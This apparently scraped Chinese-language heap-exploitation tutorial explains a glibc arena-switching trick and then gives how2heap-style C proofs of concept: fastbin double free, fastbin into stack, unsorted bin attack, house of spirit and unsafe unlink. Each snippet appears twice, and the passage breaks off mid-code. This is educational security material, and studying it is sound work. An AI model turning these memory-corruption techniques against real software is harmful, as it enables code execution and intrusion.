plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_0000) >> 28) << 28 = 0x000_055_555_555_0000
key = plain >> 12 = 0x000_000_055_555_5550;
5.
bits = 4;
key = 0x000_000_055_555_5550;
plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_5550) >> 28) << 28 = 0x000_055_555_555_b2a0
key = plain >> 12 = 0x000_055_555_555_b;
glibc < 2.27
,这是一个比较有趣的利用手法。
先了解一下 binmap
的用处。
binmap
在 malloc
过程中的下面两个场景会被修改:
首先申请依次申请 SMALLCHUNK_0x90, FASTCHUNK_0x20, FASTCHUNK_0x40
,然后将 SMALLCHUNK_0x90
释放到 unsorted bin
中。
然后申请 SMALLCHUNK_0xa0(INTM)
,这时候会触发第二个改变 binmap
的条件,会将 binmap[0]
改为 0x200
,我们将其作为fake_chunk_size
,暂且叫包含 binmap
的 fake_chunk
叫 BINMAP
。并将 SMALLCHUNK_0x90
放进 small_bin_0x90
的位置上。
然后重新申请 SMALLCHUNK_0x90
,再将其释放到 unsorted_bin
中。利用 UAF
漏洞将其 SMALLCHUNK_0x90.bk->&main_arena.bins[253]
,也就是 fake_chunk_prevsize
。 再将 FASTCHUNK_0x40.bk->(SMALLCHUNK_0xa0)INTM
,然后释放 FASTBIN_0x20, FASTBIN_0x40
。其中 FASTBIN_0x20
正好位于 main_arena_size
的位置,其作用是确保 main_arena
所在的 fake chunk
的 size
大于 2 * SIZE_SZ
此时 unsorted bin
结构如下。
(因为 binmap
数组是 uint
类型是 4
字节大小,所以 fake_chunk_binmap.bk == next
,next
指针指向 &main_arena
)
head.bk -> SMALLCHUNK_0x90.bk -> BINMAP.bk -> main-arena.bk -> FASTCHUNK_0x40.bk -> INTM
此时申请 0x1f8
大小的 chunk
将会把正好合适的 BINMAP
申请出来。之后我们考虑通过如何把 arena
切换到 伪造的 arena
上。在 __libc_malloc
上,我们通过 arena_get
来获取 arena
。由于 arena
的 flags
的值一般为 0
,因此将宏展开后发现实际上是获取的 thread_arena
的值。
在 arena_get
获取 arena
后会调用 _int_malloc
尝试申请内存,如果 _int_malloc
返回 NULL
则调用 arena_get_retry
和 _int_malloc
尝试再次分配内存。
由于 arena
为 main_arena
,因此实际上调用的是 arena_get2
。
在 arena_get2
函数中,如果 n <= narenas_limit - 1
则调用 _int_new_arena
创建一个新的 arena
。否则调用 reused_arena
从现有的 arena
中找一个可用的 arena
。
reused_arena
从 next_to_use
开始沿 arena.next
链表找第一个满足 !arena_is_corrupt(result) && !mutex_trylock(&result->mutex)
的 arena
,并且会将找到的 arena
赋值给 thread_arena
,然后更新 next_to_use
为下一个 arena
。
因此我们可以修改 main_arena.next
指向伪造的 arena
然后两次调用 malloc(0xffffffffffffffbf + 1)
,(第一次调用result==&main_arena;next_to_use==INTM
); 通过 checked_request2size(bytes, nb);
宏使得 _int_malloc
返回 NULL
,最终使得 thread_arena
指向我们伪造的 arena
。
首先需要确保 narenas > narenas_limit - 1
从而调用 reused_arena
,因此要构造 unsorted bin attack
将 narenas
改成一个较大的数。为了确保从 unsorted bin
中取出的 chunk
能通过 victim->size > av->system_mem
检查,我们将 main_arena.system_mem
赋值为 0xffffffffffffffff
。将 INTM.bk
指向 &narenas - 0x10
构造 unsorted bin attack
。
申请 0xa0
大小的 chunk
(申请被构造在 unsorted bin
的 INTM
)触发 unsorted bin attack
。此时 arenas
上被写入了 &main_arena.top
。
将 main_arena.next
指向 INTM
,连续两次 malloc(0xffffffffffffffbf + 1);
将 thread_arena
指向我们伪造的 INTM
。
伪造如下 fast_chunk
之后将 (uint64_t) (INTM_prev+0x30)
指向伪造的 chunk
。
此时如果 malloc(0x68)
就会将目标地址处的内存申请出来。
2.29
后的libc
在两个free chunk
进行合并前多一次对prevsize
的值检查对应的源代码如下:
source ~
/
pwndbg
/
gdbinit.py
source ~
/
peda
/
peda.py
source ~
/
Pwngdb
/
pwngdb.py
source ~
/
Pwngdb
/
angelheap
/
gdbinit.py
define hook
-
run
python
import
angelheap
angelheap.init_angelheap()
end
end
#set context-clear-screen on
#set debug-events off
#source /root/splitmind/gdbinit.py
#python
#sections = "regs"
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
#import splitmind
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")
#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")
#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
#spliter.build()
#end
source ~
/
pwndbg
/
gdbinit.py
source ~
/
peda
/
peda.py
source ~
/
Pwngdb
/
pwngdb.py
source ~
/
Pwngdb
/
angelheap
/
gdbinit.py
define hook
-
run
python
import
angelheap
angelheap.init_angelheap()
end
end
#set context-clear-screen on
#set debug-events off
#source /root/splitmind/gdbinit.py
#python
#sections = "regs"
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
#import splitmind
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")
#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")
#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
#spliter.build()
#end
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"
);
unsigned
long
long
stack_var;
fprintf
(stderr,
"The address we want malloc() to return is %p.\n"
, 8+(
char
*)&stack_var);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n"
, a, b, a, a);
unsigned
long
long
*d =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, d);
fprintf
(stderr,
"2nd malloc(8): %p\n"
,
malloc
(8));
fprintf
(stderr,
"Now the free list has [ %p ].\n"
, a);
fprintf
(stderr,
"Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n"
, a);
stack_var = 0x20;
fprintf
(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (unsigned
long
long
) (((
char
*)&stack_var) -
sizeof
(d));
fprintf
(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
,
malloc
(8));
fprintf
(stderr,
"4th malloc(8): %p\n"
,
malloc
(8));
}
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"
);
unsigned
long
long
stack_var;
fprintf
(stderr,
"The address we want malloc() to return is %p.\n"
, 8+(
char
*)&stack_var);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n"
, a, b, a, a);
unsigned
long
long
*d =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, d);
fprintf
(stderr,
"2nd malloc(8): %p\n"
,
malloc
(8));
fprintf
(stderr,
"Now the free list has [ %p ].\n"
, a);
fprintf
(stderr,
"Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n"
, a);
stack_var = 0x20;
fprintf
(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (unsigned
long
long
) (((
char
*)&stack_var) -
sizeof
(d));
fprintf
(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
,
malloc
(8));
fprintf
(stderr,
"4th malloc(8): %p\n"
,
malloc
(8));
}
#include <stdio.h>
#include <stdlib.h>
int
main(){
fprintf
(stderr,
"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var=0;
fprintf
(stderr,
"Let's first look at the target we want to rewrite on stack:\n"
);
fprintf
(stderr,
"%p: %ld\n\n"
, &stack_var, stack_var);
unsigned
long
*p=
malloc
(400);
fprintf
(stderr,
"Now, we allocate first normal chunk on the heap at: %p\n"
,p);
fprintf
(stderr,
"And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n"
);
malloc
(500);
free
(p);
fprintf
(stderr,
"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n"
,(
void
*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned
long
)(&stack_var-2);
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
fprintf
(stderr,
"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"
,(
void
*)p[1]);
//------------------------------------
malloc
(400);
fprintf
(stderr,
"Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n"
);
fprintf
(stderr,
"%p: %p\n"
, &stack_var, (
void
*)stack_var);
}
#include <stdio.h>
#include <stdlib.h>
int
main(){
fprintf
(stderr,
"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var=0;
fprintf
(stderr,
"Let's first look at the target we want to rewrite on stack:\n"
);
fprintf
(stderr,
"%p: %ld\n\n"
, &stack_var, stack_var);
unsigned
long
*p=
malloc
(400);
fprintf
(stderr,
"Now, we allocate first normal chunk on the heap at: %p\n"
,p);
fprintf
(stderr,
"And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n"
);
malloc
(500);
free
(p);
fprintf
(stderr,
"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n"
,(
void
*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned
long
)(&stack_var-2);
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
fprintf
(stderr,
"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"
,(
void
*)p[1]);
//------------------------------------
malloc
(400);
fprintf
(stderr,
"Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n"
);
fprintf
(stderr,
"%p: %p\n"
, &stack_var, (
void
*)stack_var);
}
使用ubuntu:
16.04
进行编译,然后使用pwncli改写rpath。
使用ubuntu:
16.04
进行编译,然后使用pwncli改写rpath。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void
jackpot(){
printf
(
"Nice jump d00d\n"
);
exit
(0); }
int
main() {
intptr_t
stack_buffer[4] = {0};
printf
(
"Allocating the victim chunk\n"
);
intptr_t
* victim =
malloc
(0x100);
printf
(
"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"
);
intptr_t
* p1 =
malloc
(0x100);
printf
(
"Freeing the chunk %p, it will be inserted in the unsorted bin\n"
, victim);
free
(victim);
printf
(
"Create a fake chunk on the stack"
);
printf
(
"Set size for next allocation and the bk pointer to any writable address"
);
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (
intptr_t
)stack_buffer;
//------------VULNERABILITY-----------
printf
(
"Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"
);
printf
(
"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"
);
victim[-1] = 32;
victim[1] = (
intptr_t
)stack_buffer;
// victim->bk is pointing to stack
//------------------------------------
printf
(
"Now next malloc will return the region of our fake chunk: %p\n"
, &stack_buffer[2]);
char
*p2 =
malloc
(0x100);
printf
(
"malloc(0x100): %p\n"
, p2);
intptr_t
sc = (
intptr_t
)jackpot;
// Emulating our in-memory shellcode
memcpy
((p2+40), &sc, 8);
// This bypasses stack-smash detection since it jumps over the canary
assert
((
long
)__builtin_return_address(0) == (
long
)jackpot);
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void
jackpot(){
printf
(
"Nice jump d00d\n"
);
exit
(0); }
int
main() {
intptr_t
stack_buffer[4] = {0};
printf
(
"Allocating the victim chunk\n"
);
intptr_t
* victim =
malloc
(0x100);
printf
(
"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n"
);
intptr_t
* p1 =
malloc
(0x100);
printf
(
"Freeing the chunk %p, it will be inserted in the unsorted bin\n"
, victim);
free
(victim);
printf
(
"Create a fake chunk on the stack"
);
printf
(
"Set size for next allocation and the bk pointer to any writable address"
);
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (
intptr_t
)stack_buffer;
//------------VULNERABILITY-----------
printf
(
"Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n"
);
printf
(
"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n"
);
victim[-1] = 32;
victim[1] = (
intptr_t
)stack_buffer;
// victim->bk is pointing to stack
//------------------------------------
printf
(
"Now next malloc will return the region of our fake chunk: %p\n"
, &stack_buffer[2]);
char
*p2 =
malloc
(0x100);
printf
(
"malloc(0x100): %p\n"
, p2);
intptr_t
sc = (
intptr_t
)jackpot;
// Emulating our in-memory shellcode
memcpy
((p2+40), &sc, 8);
// This bypasses stack-smash detection since it jumps over the canary
assert
((
long
)__builtin_return_address(0) == (
long
)jackpot);
}
使用ubuntu16.
04
编译,然后使用pwncli改写rpath。
使用ubuntu16.
04
编译,然后使用pwncli改写rpath。
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates the house of spirit attack.\n"
);
fprintf
(stderr,
"Calling malloc() once so that it sets up its memory.\n"
);
malloc
(1);
fprintf
(stderr,
"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"
);
unsigned
long
long
*a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned
long
long
fake_chunks[10] __attribute__ ((aligned (16)));
fprintf
(stderr,
"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"
,
sizeof
(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf
(stderr,
"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"
);
fprintf
(stderr,
"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"
);
fake_chunks[1] = 0x40;
// this is the size
fprintf
(stderr,
"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"
);
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234;
// nextsize
fprintf
(stderr,
"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"
, &fake_chunks[1]);
fprintf
(stderr,
"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"
);
a = &fake_chunks[2];
fprintf
(stderr,
"Freeing the overwritten pointer.\n"
);
free
(a);
fprintf
(stderr,
"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"
, &fake_chunks[1], &fake_chunks[2]);
fprintf
(stderr,
"malloc(0x30): %p\n"
,
malloc
(0x30));
}
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates the house of spirit attack.\n"
);
fprintf
(stderr,
"Calling malloc() once so that it sets up its memory.\n"
);
malloc
(1);
fprintf
(stderr,
"We will now overwrite a pointer to point to a fake 'fastbin' region.\n"
);
unsigned
long
long
*a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned
long
long
fake_chunks[10] __attribute__ ((aligned (16)));
fprintf
(stderr,
"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n"
,
sizeof
(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf
(stderr,
"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"
);
fprintf
(stderr,
"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"
);
fake_chunks[1] = 0x40;
// this is the size
fprintf
(stderr,
"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"
);
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234;
// nextsize
fprintf
(stderr,
"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n"
, &fake_chunks[1]);
fprintf
(stderr,
"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"
);
a = &fake_chunks[2];
fprintf
(stderr,
"Freeing the overwritten pointer.\n"
);
free
(a);
fprintf
(stderr,
"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n"
, &fake_chunks[1], &fake_chunks[2]);
fprintf
(stderr,
"malloc(0x30): %p\n"
,
malloc
(0x30));
}
使用ubuntu16.
04
编译,然后使用pwncli改写rpath。
使用ubuntu16.
04
编译,然后使用pwncli改写rpath。
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates a simple double-free attack with fastbins.\n"
);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"
, a, b, a, a);
a =
malloc
(8);
b =
malloc
(8);
c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
assert
(a == c);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int
main()
{
fprintf
(stderr,
"This file demonstrates a simple double-free attack with fastbins.\n"
);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
// free(a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"
, a, b, a, a);
a =
malloc
(8);
b =
malloc
(8);
c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
assert
(a == c);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void
main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts
(
"This is a powerful technique that bypasses the double free check in tcachebin."
);
printf
(
"Fill up the tcache list to force the fastbin usage...\n"
);
void
* p1 =
calloc
(1,0x40);
printf
(
"Allocate another chunk of the same size p1=%p \n"
, p1);
printf
(
"Freeing p1 will add this chunk to the fastbin list...\n\n"
);
free
(p1);
void
* p3 =
malloc
(0x400);
printf
(
"Allocating a tcache-sized chunk (p3=%p)\n"
, p3);
printf
(
"will trigger the malloc_consolidate and merge\n"
);
printf
(
"the fastbin chunks into the top chunk, thus\n"
);
printf
(
"p1 and p3 are now pointing to the same chunk !\n\n"
);
assert
(p1 == p3);
printf
(
"Triggering the double free vulnerability!\n\n"
);
free
(p1);
void
*p4 =
malloc
(0x400);
assert
(p4 == p3);
printf
(
"The double free added the chunk referenced by p1 \n"
);
printf
(
"to the tcache thus the next similar-size malloc will\n"
);
printf
(
"point to p3: p3=%p, p4=%p\n\n"
,p3, p4);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void
main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts
(
"This is a powerful technique that bypasses the double free check in tcachebin."
);
printf
(
"Fill up the tcache list to force the fastbin usage...\n"
);
void
* p1 =
calloc
(1,0x40);
printf
(
"Allocate another chunk of the same size p1=%p \n"
, p1);
printf
(
"Freeing p1 will add this chunk to the fastbin list...\n\n"
);
free
(p1);
void
* p3 =
malloc
(0x400);
printf
(
"Allocating a tcache-sized chunk (p3=%p)\n"
, p3);
printf
(
"will trigger the malloc_consolidate and merge\n"
);
printf
(
"the fastbin chunks into the top chunk, thus\n"
);
printf
(
"p1 and p3 are now pointing to the same chunk !\n\n"
);
assert
(p1 == p3);
printf
(
"Triggering the double free vulnerability!\n\n"
);
free
(p1);
void
*p4 =
malloc
(0x400);
assert
(p4 == p3);
printf
(
"The double free added the chunk referenced by p1 \n"
);
printf
(
"to the tcache thus the next similar-size malloc will\n"
);
printf
(
"point to p3: p3=%p, p4=%p\n\n"
,p3, p4);
}
使用ubuntu:
16.04
编译并使用pwncli改写rpath。
使用ubuntu:
16.04
编译并使用pwncli改写rpath。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int
main()
{
setbuf
(stdout, NULL);
printf
(
"Welcome to unsafe unlink 2.0!\n"
);
printf
(
"Tested in Ubuntu 14.04/16.04 64bit.\n"
);
printf
(
"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"
);
printf
(
"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"
);
int
malloc_size = 0x80;
//we want to be big enough not to use fastbins
int
header_size = 2;
printf
(
"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"
);
chunk0_ptr = (uint64_t*)
malloc
(malloc_size);
//chunk0
uint64_t *chunk1_ptr = (uint64_t*)
malloc
(malloc_size);
//chunk1
printf
(
"The global chunk0_ptr is at %p, pointing to %p\n"
, &chunk0_ptr, chunk0_ptr);
printf
(
"The victim chunk we are going to corrupt is at %p\n\n"
, chunk1_ptr);
printf
(
"We create a fake chunk inside chunk0.\n"
);
printf
(
"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"
);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(
sizeof
(uint64_t)*3);
printf
(
"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"
);
printf
(
"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"
);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(
sizeof
(uint64_t)*2);
printf
(
"Fake chunk fd: %p\n"
,(
void
*) chunk0_ptr[2]);
printf
(
"Fake chunk bk: %p\n\n"
,(
void
*) chunk0_ptr[3]);
printf
(
"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"
);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf
(
"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"
);
printf
(
"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"
);
chunk1_hdr[0] = malloc_size;
printf
(
"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n"
,(
void
*)chunk1_hdr[0]);
printf
(
"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"
);
chunk1_hdr[1] &= ~1;
printf
(
"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"
);
printf
(
"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"
);
free
(chunk1_ptr);
printf
(
"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"
);
char
victim_string[8];
strcpy
(victim_string,
"Hello!~"
);
chunk0_ptr[3] = (uint64_t) victim_string;
printf
(
"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"
);
printf
(
"Original value: %s\n"
,victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf
(
"New Value: %s\n"
,victim_string);
// sanity check
assert
(*(
long
*)victim_string == 0x4141414142424242L);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int
main()
{
setbuf
(stdout, NULL);
printf
(
"Welcome to unsafe unlink 2.0!\n"
);
printf
(
"Tested in Ubuntu 14.04/16.04 64bit.\n"
);
printf
(
"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"
);
printf
(
"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"
);
int
malloc_size = 0x80;
//we want to be big enough not to use fastbins
int
header_size = 2;
printf
(
"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"
);
chunk0_ptr = (uint64_t*)
malloc
(malloc_size);
//chunk0
uint64_t *chunk1_ptr = (uint64_t*)
malloc
(malloc_size);
//chunk1
printf
(
"The global chunk0_ptr is at %p, pointing to %p\n"
, &chunk0_ptr, chunk0_ptr);
printf
(
"The victim chunk we are going to corrupt is at %p\n\n"
, chunk1_ptr);
printf
(
"We create a fake chunk inside chunk0.\n"
);
printf
(
"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"
);
